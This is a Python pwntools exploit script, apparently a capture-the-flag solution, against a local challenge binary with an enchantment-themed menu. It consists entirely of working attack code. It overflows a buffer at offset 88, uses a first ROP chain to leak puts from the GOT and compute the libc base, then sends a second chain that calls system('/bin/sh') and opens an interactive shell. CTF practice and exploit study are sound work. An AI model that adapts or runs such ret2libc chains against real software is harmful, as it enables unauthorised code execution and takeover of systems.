#!/usr/bin/env python3
from pwn import *

elf  = ELF("../deploy/chall")
libc = ELF("../deploy/libc.so.6")

context.binary = elf

# p = process([elf.path])
p = remote("localhost", 5000)

def add(name: bytes, level: int):
    p.sendafter(b"> ", b"1\n")
    p.sendafter(b"Enchantment name: ", name)
    p.sendafter(b"Level (1-5): ", str(level).encode() + b"\n")

def show():
    p.sendafter(b"> ", b"2\n")

def enchant(idx: int, data: bytes):
    p.sendafter(b"> ", b"3\n")
    p.sendafter(b"Enchantment index: ", str(idx).encode() + b"\n")
    p.sendafter(b"Item name: ", data)

pop_rdi  = elf.sym["enchant_rdi"]   # pop rdi; ret
ret_gadg = next(elf.search(asm("ret"), executable=True))

OFFSET = 88

add(b"Sharpness\n", 5)

rop1 = flat(
    b"A" * OFFSET,
    pop_rdi,  elf.got["puts"],
    elf.plt["puts"],
    elf.sym["main"],
)
enchant(0, rop1)

p.recvuntil(b"Done! Enchanted: ")
p.recvline()
puts_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
log.success(f"puts @ {hex(puts_leak)}")

libc.address = puts_leak - libc.sym["puts"]
log.success(f"libc base @ {hex(libc.address)}")

binsh_addr  = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.sym["system"]

rop2 = flat(
    b"A" * OFFSET,
    ret_gadg,
    pop_rdi,  binsh_addr,
    system_addr,
)
enchant(0, rop2)

p.interactive()
